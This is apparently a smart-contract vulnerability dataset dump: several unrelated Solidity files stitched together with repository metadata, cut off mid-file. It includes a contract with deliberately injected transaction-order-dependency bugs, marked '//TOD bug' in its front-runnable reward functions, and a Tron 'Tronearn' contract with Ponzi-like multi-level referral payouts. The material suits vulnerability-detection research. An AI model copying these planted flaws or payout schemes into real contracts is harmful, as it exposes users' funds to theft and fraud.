constructor() public ERC20("Liquid Finance Bond", "LBOND") {}
function mint(address recipient_, uint256 amount_) public onlyOperator returns (bool) {
uint256 balanceBefore = balanceOf(recipient_);
_mint(recipient_, amount_);
uint256 balanceAfter = balanceOf(recipient_);
return balanceAfter > balanceBefore;
}
function burn(uint256 amount) public override {
super.burn(amount);
}
function burnFrom(address account, uint256 amount) public override onlyOperator {
super.burnFrom(account, amount);
}
function totalBurned() external view returns (uint256) {
return totalBurned_;
}
function _burn(address _account, uint256 _amount) internal override {
super._burn(_account, _amount);
totalBurned_ = totalBurned_.add(_amount);
}
function governanceRecoverUnsupported(IERC20 _token,
uint256 _amount,
address _to) external onlyOperator {
_token.transfer(_to, _amount);
}
}
| 45,884 | 10,886 |
6251008439cd81e24b90d4bf92a01c6dd9437f2ca0a1a6cf5d702dc803cc223b
| 13,286 |
.sol
|
Solidity
| false |
441123437
|
1052445594/SoliDetector
|
171e0750225e445c2993f04ef32ad65a82342054
|
Solidifi-bugInjection-data/Transaction_order_dependency/Sol/buggy_41.sol
| 3,445 | 11,429 |
pragma solidity >=0.4.22 <0.6.0;
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external;
}
contract AO {
// Public variables of the token
bool claimed_TOD24 = false;
address payable owner_TOD24;
uint256 reward_TOD24;
function setReward_TOD24() public payable {
require (!claimed_TOD24);
require(msg.sender == owner_TOD24);
owner_TOD24.transfer(reward_TOD24); //TOD bug
reward_TOD24 = msg.value;
}
function claimReward_TOD24(uint256 submission) public {
require (!claimed_TOD24);
require(submission < 10);
msg.sender.transfer(reward_TOD24); //TOD bug
claimed_TOD24 = true;
}
string public name;
address payable winner_TOD23;
function play_TOD23(bytes32 guess) public{
if (keccak256(abi.encode(guess)) == keccak256(abi.encode('hello'))) {
winner_TOD23 = msg.sender;
}
}
function getReward_TOD23() payable public{
winner_TOD23.transfer(msg.value); //TOD bug
}
string public symbol;
bool claimed_TOD22 = false;
address payable owner_TOD22;
uint256 reward_TOD22;
function setReward_TOD22() public payable {
require (!claimed_TOD22);
require(msg.sender == owner_TOD22);
owner_TOD22.transfer(reward_TOD22); //TOD bug
reward_TOD22 = msg.value;
}
function claimReward_TOD22(uint256 submission) public {
require (!claimed_TOD22);
require(submission < 10);
msg.sender.transfer(reward_TOD22); //TOD bug
claimed_TOD22 = true;
}
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
address payable winner_TOD21;
function play_TOD21(bytes32 guess) public{
if (keccak256(abi.encode(guess)) == keccak256(abi.encode('hello'))) {
winner_TOD21 = msg.sender;
}
}
function getReward_TOD21() payable public{
winner_TOD21.transfer(msg.value); //TOD bug
}
uint256 public totalSupply;
// This creates an array with all balances
bool claimed_TOD20 = false;
address payable owner_TOD20;
uint256 reward_TOD20;
function setReward_TOD20() public payable {
require (!claimed_TOD20);
require(msg.sender == owner_TOD20);
owner_TOD20.transfer(reward_TOD20); //TOD bug
reward_TOD20 = msg.value;
}
function claimReward_TOD20(uint256 submission) public {
require (!claimed_TOD20);
require(submission < 10);
msg.sender.transfer(reward_TOD20); //TOD bug
claimed_TOD20 = true;
}
mapping (address => uint256) public balanceOf;
bool claimed_TOD2 = false;
address payable owner_TOD2;
uint256 reward_TOD2;
function setReward_TOD2() public payable {
require (!claimed_TOD2);
require(msg.sender == owner_TOD2);
owner_TOD2.transfer(reward_TOD2); //TOD bug
reward_TOD2 = msg.value;
}
function claimReward_TOD2(uint256 submission) public {
require (!claimed_TOD2);
require(submission < 10);
msg.sender.transfer(reward_TOD2); //TOD bug
claimed_TOD2 = true;
}
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
address payable winner_TOD11;
function play_TOD11(bytes32 guess) public{
if (keccak256(abi.encode(guess)) == keccak256(abi.encode('hello'))) {
winner_TOD11 = msg.sender;
}
}
function getReward_TOD11() payable public{
winner_TOD11.transfer(msg.value); //TOD bug
}
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
bool claimed_TOD10 = false;
address payable owner_TOD10;
uint256 reward_TOD10;
function setReward_TOD10() public payable {
require (!claimed_TOD10);
require(msg.sender == owner_TOD10);
owner_TOD10.transfer(reward_TOD10); //TOD bug
reward_TOD10 = msg.value;
}
function claimReward_TOD10(uint256 submission) public {
require (!claimed_TOD10);
require(submission < 10);
msg.sender.transfer(reward_TOD10);//TOD bug
claimed_TOD10 = true;
}
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
address payable winner_TOD1;
function play_TOD1(bytes32 guess) public{
if (keccak256(abi.encode(guess)) == keccak256(abi.encode('hello'))) {
winner_TOD1 = msg.sender;
}
}
function getReward_TOD1() payable public{
winner_TOD1.transfer(msg.value); //TOD bug
}
event Burn(address indexed from, uint256 value);
constructor(uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
address payable winner_TOD19;
function play_TOD19(bytes32 guess) public{
if (keccak256(abi.encode(guess)) == keccak256(abi.encode('hello'))) {
winner_TOD19 = msg.sender;
}
}
function getReward_TOD19() payable public{
winner_TOD19.transfer(msg.value); //TOD bug
}
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(0x0));
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
bool claimed_TOD18 = false;
address payable owner_TOD18;
uint256 reward_TOD18;
function setReward_TOD18() public payable {
require (!claimed_TOD18);
require(msg.sender == owner_TOD18);
owner_TOD18.transfer(reward_TOD18); //TOD bug
reward_TOD18 = msg.value;
}
function claimReward_TOD18(uint256 submission) public {
require (!claimed_TOD18);
require(submission < 10);
msg.sender.transfer(reward_TOD18); //TOD bug
claimed_TOD18 = true;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
address payable winner_TOD17;
function play_TOD17(bytes32 guess) public{
if (keccak256(abi.encode(guess)) == keccak256(abi.encode('hello'))) {
winner_TOD17 = msg.sender;
}
}
function getReward_TOD17() payable public{
winner_TOD17.transfer(msg.value); //TOD bug
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
bool claimed_TOD16 = false;
address payable owner_TOD16;
uint256 reward_TOD16;
function setReward_TOD16() public payable {
require (!claimed_TOD16);
require(msg.sender == owner_TOD16);
owner_TOD16.transfer(reward_TOD16); //TOD bug
reward_TOD16 = msg.value;
}
function claimReward_TOD16(uint256 submission) public {
require (!claimed_TOD16);
require(submission < 10);
msg.sender.transfer(reward_TOD16); //TOD bug
claimed_TOD16 = true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
address payable winner_TOD15;
function play_TOD15(bytes32 guess) public{
if (keccak256(abi.encode(guess)) == keccak256(abi.encode('hello'))) {
winner_TOD15 = msg.sender;
}
}
function getReward_TOD15() payable public{
winner_TOD15.transfer(msg.value); //TOD bug
}
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
bool claimed_TOD14 = false;
address payable owner_TOD14;
uint256 reward_TOD14;
function setReward_TOD14() public payable {
require (!claimed_TOD14);
require(msg.sender == owner_TOD14);
owner_TOD14.transfer(reward_TOD14); //TOD bug
reward_TOD14 = msg.value;
}
function claimReward_TOD14(uint256 submission) public {
require (!claimed_TOD14);
require(submission < 10);
msg.sender.transfer(reward_TOD14); //TOD bug
claimed_TOD14 = true;
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
address payable winner_TOD13;
function play_TOD13(bytes32 guess) public{
if (keccak256(abi.encode(guess)) == keccak256(abi.encode('hello'))) {
winner_TOD13 = msg.sender;
}
}
function getReward_TOD13() payable public{
winner_TOD13.transfer(msg.value); //TOD bug
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
bool claimed_TOD12 = false;
address payable owner_TOD12;
uint256 reward_TOD12;
function setReward_TOD12() public payable {
require (!claimed_TOD12);
require(msg.sender == owner_TOD12);
owner_TOD12.transfer(reward_TOD12); //TOD bug
reward_TOD12 = msg.value;
}
function claimReward_TOD12(uint256 submission) public {
require (!claimed_TOD12);
require(submission < 10);
msg.sender.transfer(reward_TOD12); //TOD bug
claimed_TOD12 = true;
}
}
| 224,058 | 10,887 |
4db7f22f532ca83300232c2faee6df6c67e203f64b34c830907a6096e07da97c
| 18,893 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TJ/TJ7uh1yz49KEEkTsTHWC7rjBShefqhLoZr_Tronearn.sol
| 4,542 | 17,258 |
//SourceUnit: tronearn.sol
pragma solidity 0.5.10;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
contract Tronearn {
using SafeMath for uint;
uint constant public DEPOSITS_MAX = 300;
uint constant public INVEST_MIN_AMOUNT = 100 trx;
uint constant public INVEST_MAX_AMOUNT = 4000000 trx;
uint constant public BASE_PERCENT = 100;
uint[] public REFERRAL_PERCENTS = [1000, 400, 200, 100, 100, 50, 50, 40, 30, 20, 10];
uint constant public MARKETING_FEE = 500;
uint constant public PROJECT_FEE = 500;
uint constant public ADMIN_FEE = 500;
uint constant public NETWORK = 500;
uint constant public MAX_CONTRACT_PERCENT = 100;
uint constant public MAX_LEADER_PERCENT = 50;
uint constant public MAX_HOLD_PERCENT = 100;
uint constant public MAX_COMMUNITY_PERCENT = 50;
uint constant public PERCENTS_DIVIDER = 10000;
uint constant public CONTRACT_BALANCE_STEP = 1000000000 trx;
uint constant public LEADER_BONUS_STEP = 1000000000 trx;
uint constant public COMMUNITY_BONUS_STEP = 10000000;
uint constant public TIME_STEP = 1 days;
uint public totalInvested;
address payable public marketingAddress;
address payable public projectAddress;
address payable public adminAddress;
address payable public networkAddress;
uint public totalDeposits;
uint public totalWithdrawn;
uint public contractPercent;
uint public contractCreationTime;
uint public totalRefBonus;
struct Deposit {
uint64 amount;
uint64 withdrawn;
// uint64 refback;
uint32 start;
}
struct User {
Deposit[] deposits;
uint32 checkpoint;
address referrer;
uint64 bonus;
uint24[11] refs;
// uint16 rbackPercent;
}
mapping (address => User) internal users;
mapping (uint => uint) internal turnover;
event Newbie(address user);
event NewDeposit(address indexed user, uint amount);
event Withdrawn(address indexed user, uint amount);
event RefBonus(address indexed referrer, address indexed referral, uint indexed level, uint amount);
event RefBack(address indexed referrer, address indexed referral, uint amount);
event FeePayed(address indexed user, uint totalAmount);
constructor(address payable marketingAddr, address payable projectAddr, address payable adminAddr, address payable networkAddr) public {
require(!isContract(marketingAddr) && !isContract(projectAddr));
marketingAddress = marketingAddr;
projectAddress = projectAddr;
adminAddress = adminAddr;
networkAddress = networkAddr;
contractCreationTime = block.timestamp;
contractPercent = getContractBalanceRate();
}
// function setRefback(uint16 rbackPercent) public {
// require(rbackPercent <= 10000);
// User storage user = users[msg.sender];
// if (user.deposits.length > 0) {
// user.rbackPercent = rbackPercent;
// }
// }
function getContractBalance() public view returns (uint) {
return address(this).balance;
}
function getContractBalanceRate() public view returns (uint) {
uint contractBalance = address(this).balance;
uint contractBalancePercent = BASE_PERCENT.add(contractBalance.div(CONTRACT_BALANCE_STEP).mul(20));
if (contractBalancePercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
return contractBalancePercent;
} else {
return BASE_PERCENT.add(MAX_CONTRACT_PERCENT);
}
}
function getLeaderBonusRate() public view returns (uint) {
uint leaderBonusPercent = totalRefBonus.div(LEADER_BONUS_STEP).mul(10);
if (leaderBonusPercent < MAX_LEADER_PERCENT) {
return leaderBonusPercent;
} else {
return MAX_LEADER_PERCENT;
}
}
function getCommunityBonusRate() public view returns (uint) {
uint communityBonusRate = totalDeposits.div(COMMUNITY_BONUS_STEP).mul(10);
if (communityBonusRate < MAX_COMMUNITY_PERCENT) {
return communityBonusRate;
} else {
return MAX_COMMUNITY_PERCENT;
}
}
function withdraw() public {
User storage user = users[msg.sender];
uint userPercentRate = getUserPercentRate(msg.sender);
uint communityBonus = getCommunityBonusRate();
uint leaderbonus = getLeaderBonusRate();
uint totalAmount;
uint dividends;
for (uint i = 0; i < user.deposits.length; i++) {
if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.deposits[i].start)))
.div(TIME_STEP);
} else {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.checkpoint)))
.div(TIME_STEP);
}
if (uint(user.deposits[i].withdrawn).add(dividends) > uint(user.deposits[i].amount).mul(2)) {
dividends = (uint(user.deposits[i].amount).mul(2)).sub(uint(user.deposits[i].withdrawn));
}
user.deposits[i].withdrawn = uint64(uint(user.deposits[i].withdrawn).add(dividends)); /// changing of storage data
totalAmount = totalAmount.add(dividends);
}
}
require(totalAmount > 0, "User has no dividends");
uint contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
// if (msgValue > availableLimit) {
// msg.sender.transfer(msgValue.sub(availableLimit));
// msgValue = availableLimit;
// }
// uint halfDayTurnover = turnover[getCurrentHalfDay()];
// uint halfDayLimit = getCurrentDayLimit();
// if (INVEST_MIN_AMOUNT.add(msgValue).add(halfDayTurnover) < halfDayLimit) {
// turnover[getCurrentHalfDay()] = halfDayTurnover.add(msgValue);
// } else {
// turnover[getCurrentHalfDay()] = halfDayLimit;
// }
user.checkpoint = uint32(block.timestamp);
msg.sender.transfer(totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getUserPercentRate(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
if (isActive(userAddress)) {
uint timeMultiplier = (block.timestamp.sub(uint(user.checkpoint))).div(TIME_STEP.div(2)).mul(5);
if (timeMultiplier > MAX_HOLD_PERCENT) {
timeMultiplier = MAX_HOLD_PERCENT;
}
return contractPercent.add(timeMultiplier);
} else {
return contractPercent;
}
}
function getUserAvailable(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint userPercentRate = getUserPercentRate(userAddress);
uint communityBonus = getCommunityBonusRate();
uint leaderbonus = getLeaderBonusRate();
uint totalDividends;
uint dividends;
for (uint i = 0; i < user.deposits.length; i++) {
if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.deposits[i].start)))
.div(TIME_STEP);
} else {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.checkpoint)))
.div(TIME_STEP);
}
if (uint(user.deposits[i].withdrawn).add(dividends) > uint(user.deposits[i].amount).mul(2)) {
dividends = (uint(user.deposits[i].amount).mul(2)).sub(uint(user.deposits[i].withdrawn));
}
totalDividends = totalDividends.add(dividends);
/// no update of withdrawn because that is view function
}
}
return totalDividends;
}
function invest(address referrer) public payable {
require(!isContract(msg.sender) && msg.sender == tx.origin);
require(msg.value >= INVEST_MIN_AMOUNT && msg.value <= INVEST_MAX_AMOUNT, "Bad Deposit");
User storage user = users[msg.sender];
require(user.deposits.length < DEPOSITS_MAX, "Maximum 300 deposits from address");
// uint availableLimit = getCurrentHalfDayAvailable();
// require(availableLimit > 0, "Deposit limit exceed");
uint msgValue = msg.value;
// if (msgValue > availableLimit) {
// msg.sender.transfer(msgValue.sub(availableLimit));
// msgValue = availableLimit;
// }
// uint halfDayTurnover = turnover[getCurrentHalfDay()];
// uint halfDayLimit = getCurrentDayLimit();
// if (INVEST_MIN_AMOUNT.add(msgValue).add(halfDayTurnover) < halfDayLimit) {
// turnover[getCurrentHalfDay()] = halfDayTurnover.add(msgValue);
// } else {
// turnover[getCurrentHalfDay()] = halfDayLimit;
// }
uint marketingFee = msgValue.mul(MARKETING_FEE).div(PERCENTS_DIVIDER);
uint projectFee = msgValue.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
uint adminFee = msgValue.mul(ADMIN_FEE).div(PERCENTS_DIVIDER);
uint network = msgValue.mul(NETWORK).div(PERCENTS_DIVIDER);
marketingAddress.transfer(marketingFee);
projectAddress.transfer(projectFee);
adminAddress.transfer(adminFee);
networkAddress.transfer(network);
emit FeePayed(msg.sender, marketingFee.add(projectFee).add(network));
if (user.referrer == address(0) && users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
// else{
// user.referrer = adminAddress;
// }
// uint refbackAmount;
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint i = 0; i < 11; i++) {
if (upline != address(0)) {
uint amount = msgValue.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
// }
if (amount > 0) {
address(uint160(upline)).transfer(amount);
users[upline].bonus = uint64(uint(users[upline].bonus).add(amount));
totalRefBonus = totalRefBonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
}
users[upline].refs[i]++;
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = uint32(block.timestamp);
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(uint64(msgValue), 0, uint32(block.timestamp)));
totalInvested = totalInvested.add(msgValue);
totalDeposits++;
if (contractPercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
uint contractPercentNew = getContractBalanceRate();
if (contractPercentNew > contractPercent) {
contractPercent = contractPercentNew;
}
}
emit NewDeposit(msg.sender, msgValue);
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
return (user.deposits.length > 0) && uint(user.deposits[user.deposits.length-1].withdrawn) < uint(user.deposits[user.deposits.length-1].amount).mul(2);
}
function getUserAmountOfDeposits(address userAddress) public view returns (uint) {
return users[userAddress].deposits.length;
}
function getUserLastDeposit(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
return user.checkpoint;
}
function getUserTotalDeposits(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint amount;
for (uint i = 0; i < user.deposits.length; i++) {
amount = amount.add(uint(user.deposits[i].amount));
}
return amount;
}
function getUserTotalWithdrawn(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint amount = user.bonus;
for (uint i = 0; i < user.deposits.length; i++) {
amount = amount.add(uint(user.deposits[i].withdrawn));
}
return amount;
}
function getCurrentHalfDay() public view returns (uint) {
return (block.timestamp.sub(contractCreationTime)).div(TIME_STEP.div(2));
}
// function getCurrentDayLimit() public view returns (uint) {
// uint limit;
// uint currentDay = (block.timestamp.sub(contractCreation)).div(TIME_STEP);
// if (currentDay == 0) {
// limit = DAY_LIMIT_STEPS[0];
// } else if (currentDay == 1) {
// limit = DAY_LIMIT_STEPS[1];
// } else if (currentDay >= 2 && currentDay <= 5) {
// limit = DAY_LIMIT_STEPS[1].mul(currentDay);
// } else if (currentDay >= 6 && currentDay <= 19) {
// limit = DAY_LIMIT_STEPS[2].mul(currentDay.sub(3));
// } else if (currentDay >= 20 && currentDay <= 49) {
// limit = DAY_LIMIT_STEPS[3].mul(currentDay.sub(11));
// } else if (currentDay >= 50) {
// limit = DAY_LIMIT_STEPS[4].mul(currentDay.sub(30));
// }
// return limit;
// }
function getCurrentHalfDayTurnover() public view returns (uint) {
return turnover[getCurrentHalfDay()];
}
// function getCurrentHalfDayAvailable() public view returns (uint) {
// return getCurrentDayLimit().sub(getCurrentHalfDayTurnover());
// }
function getUserDeposits(address userAddress, uint last, uint first) public view returns (uint[] memory, uint[] memory, uint[] memory, uint[] memory) {
User storage user = users[userAddress];
uint count = first.sub(last);
if (count > user.deposits.length) {
count = user.deposits.length;
}
uint[] memory amount = new uint[](count);
uint[] memory withdrawn = new uint[](count);
uint[] memory refback = new uint[](count);
uint[] memory start = new uint[](count);
uint index = 0;
for (uint i = first; i > last; i--) {
amount[index] = uint(user.deposits[i-1].amount);
withdrawn[index] = uint(user.deposits[i-1].withdrawn);
// refback[index] = uint(user.deposits[i-1].refback);
start[index] = uint(user.deposits[i-1].start);
index++;
}
return (amount, withdrawn, refback, start);
}
function getSiteStats() public view returns (uint, uint, uint, uint) {
return (totalInvested, totalDeposits, address(this).balance, contractPercent);
}
function getUserStats(address userAddress) public view returns (uint, uint, uint, uint, uint) {
uint userPerc = getUserPercentRate(userAddress);
uint userAvailable = getUserAvailable(userAddress);
uint userDepsTotal = getUserTotalDeposits(userAddress);
uint userDeposits = getUserAmountOfDeposits(userAddress);
uint userWithdrawn = getUserTotalWithdrawn(userAddress);
return (userPerc, userAvailable, userDepsTotal, userDeposits, userWithdrawn);
}
function getUserReferralsStats(address userAddress) public view returns (address, uint64, uint24[11] memory) {
User storage user = users[userAddress];
return (user.referrer, user.bonus, user.refs);
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
| 290,756 | 10,888 |
09615efb0a60fe7b84aad93881ee523d43a6677cf3cef6fbf539913ec83c0ce8
| 42,034 |
.sol
|
Solidity
| false |
635617544
|
0xblackskull/OpenZeppelin-Flattened
|
bef0a34f7a2402d302f91f7bccf2d2e153ebea6b
|
ozopenzeppelin-contracts/mocks/DoubleEndedQueueMock_flat.sol
| 5,138 | 16,974 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// OpenZeppelin Contracts (last updated v4.6.0) (utils/structs/DoubleEndedQueue.sol)
// OpenZeppelin Contracts (last updated v4.7.0) (utils/math/SafeCast.sol)
library SafeCast {
function toUint248(uint256 value) internal pure returns (uint248) {
require(value <= type(uint248).max, "SafeCast: value doesn't fit in 248 bits");
return uint248(value);
}
function toUint240(uint256 value) internal pure returns (uint240) {
require(value <= type(uint240).max, "SafeCast: value doesn't fit in 240 bits");
return uint240(value);
}
function toUint232(uint256 value) internal pure returns (uint232) {
require(value <= type(uint232).max, "SafeCast: value doesn't fit in 232 bits");
return uint232(value);
}
function toUint224(uint256 value) internal pure returns (uint224) {
require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits");
return uint224(value);
}
function toUint216(uint256 value) internal pure returns (uint216) {
require(value <= type(uint216).max, "SafeCast: value doesn't fit in 216 bits");
return uint216(value);
}
function toUint208(uint256 value) internal pure returns (uint208) {
require(value <= type(uint208).max, "SafeCast: value doesn't fit in 208 bits");
return uint208(value);
}
function toUint200(uint256 value) internal pure returns (uint200) {
require(value <= type(uint200).max, "SafeCast: value doesn't fit in 200 bits");
return uint200(value);
}
function toUint192(uint256 value) internal pure returns (uint192) {
require(value <= type(uint192).max, "SafeCast: value doesn't fit in 192 bits");
return uint192(value);
}
function toUint184(uint256 value) internal pure returns (uint184) {
require(value <= type(uint184).max, "SafeCast: value doesn't fit in 184 bits");
return uint184(value);
}
function toUint176(uint256 value) internal pure returns (uint176) {
require(value <= type(uint176).max, "SafeCast: value doesn't fit in 176 bits");
return uint176(value);
}
function toUint168(uint256 value) internal pure returns (uint168) {
require(value <= type(uint168).max, "SafeCast: value doesn't fit in 168 bits");
return uint168(value);
}
function toUint160(uint256 value) internal pure returns (uint160) {
require(value <= type(uint160).max, "SafeCast: value doesn't fit in 160 bits");
return uint160(value);
}
function toUint152(uint256 value) internal pure returns (uint152) {
require(value <= type(uint152).max, "SafeCast: value doesn't fit in 152 bits");
return uint152(value);
}
function toUint144(uint256 value) internal pure returns (uint144) {
require(value <= type(uint144).max, "SafeCast: value doesn't fit in 144 bits");
return uint144(value);
}
function toUint136(uint256 value) internal pure returns (uint136) {
require(value <= type(uint136).max, "SafeCast: value doesn't fit in 136 bits");
return uint136(value);
}
function toUint128(uint256 value) internal pure returns (uint128) {
require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits");
return uint128(value);
}
function toUint120(uint256 value) internal pure returns (uint120) {
require(value <= type(uint120).max, "SafeCast: value doesn't fit in 120 bits");
return uint120(value);
}
function toUint112(uint256 value) internal pure returns (uint112) {
require(value <= type(uint112).max, "SafeCast: value doesn't fit in 112 bits");
return uint112(value);
}
function toUint104(uint256 value) internal pure returns (uint104) {
require(value <= type(uint104).max, "SafeCast: value doesn't fit in 104 bits");
return uint104(value);
}
function toUint96(uint256 value) internal pure returns (uint96) {
require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits");
return uint96(value);
}
function toUint88(uint256 value) internal pure returns (uint88) {
require(value <= type(uint88).max, "SafeCast: value doesn't fit in 88 bits");
return uint88(value);
}
function toUint80(uint256 value) internal pure returns (uint80) {
require(value <= type(uint80).max, "SafeCast: value doesn't fit in 80 bits");
return uint80(value);
}
function toUint72(uint256 value) internal pure returns (uint72) {
require(value <= type(uint72).max, "SafeCast: value doesn't fit in 72 bits");
return uint72(value);
}
function toUint64(uint256 value) internal pure returns (uint64) {
require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits");
return uint64(value);
}
function toUint56(uint256 value) internal pure returns (uint56) {
require(value <= type(uint56).max, "SafeCast: value doesn't fit in 56 bits");
return uint56(value);
}
function toUint48(uint256 value) internal pure returns (uint48) {
require(value <= type(uint48).max, "SafeCast: value doesn't fit in 48 bits");
return uint48(value);
}
function toUint40(uint256 value) internal pure returns (uint40) {
require(value <= type(uint40).max, "SafeCast: value doesn't fit in 40 bits");
return uint40(value);
}
function toUint32(uint256 value) internal pure returns (uint32) {
require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits");
return uint32(value);
}
function toUint24(uint256 value) internal pure returns (uint24) {
require(value <= type(uint24).max, "SafeCast: value doesn't fit in 24 bits");
return uint24(value);
}
function toUint16(uint256 value) internal pure returns (uint16) {
require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits");
return uint16(value);
}
function toUint8(uint256 value) internal pure returns (uint8) {
require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits");
return uint8(value);
}
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
function toInt248(int256 value) internal pure returns (int248 downcasted) {
downcasted = int248(value);
require(downcasted == value, "SafeCast: value doesn't fit in 248 bits");
}
function toInt240(int256 value) internal pure returns (int240 downcasted) {
downcasted = int240(value);
require(downcasted == value, "SafeCast: value doesn't fit in 240 bits");
}
function toInt232(int256 value) internal pure returns (int232 downcasted) {
downcasted = int232(value);
require(downcasted == value, "SafeCast: value doesn't fit in 232 bits");
}
function toInt224(int256 value) internal pure returns (int224 downcasted) {
downcasted = int224(value);
require(downcasted == value, "SafeCast: value doesn't fit in 224 bits");
}
function toInt216(int256 value) internal pure returns (int216 downcasted) {
downcasted = int216(value);
require(downcasted == value, "SafeCast: value doesn't fit in 216 bits");
}
function toInt208(int256 value) internal pure returns (int208 downcasted) {
downcasted = int208(value);
require(downcasted == value, "SafeCast: value doesn't fit in 208 bits");
}
function toInt200(int256 value) internal pure returns (int200 downcasted) {
downcasted = int200(value);
require(downcasted == value, "SafeCast: value doesn't fit in 200 bits");
}
function toInt192(int256 value) internal pure returns (int192 downcasted) {
downcasted = int192(value);
require(downcasted == value, "SafeCast: value doesn't fit in 192 bits");
}
function toInt184(int256 value) internal pure returns (int184 downcasted) {
downcasted = int184(value);
require(downcasted == value, "SafeCast: value doesn't fit in 184 bits");
}
function toInt176(int256 value) internal pure returns (int176 downcasted) {
downcasted = int176(value);
require(downcasted == value, "SafeCast: value doesn't fit in 176 bits");
}
function toInt168(int256 value) internal pure returns (int168 downcasted) {
downcasted = int168(value);
require(downcasted == value, "SafeCast: value doesn't fit in 168 bits");
}
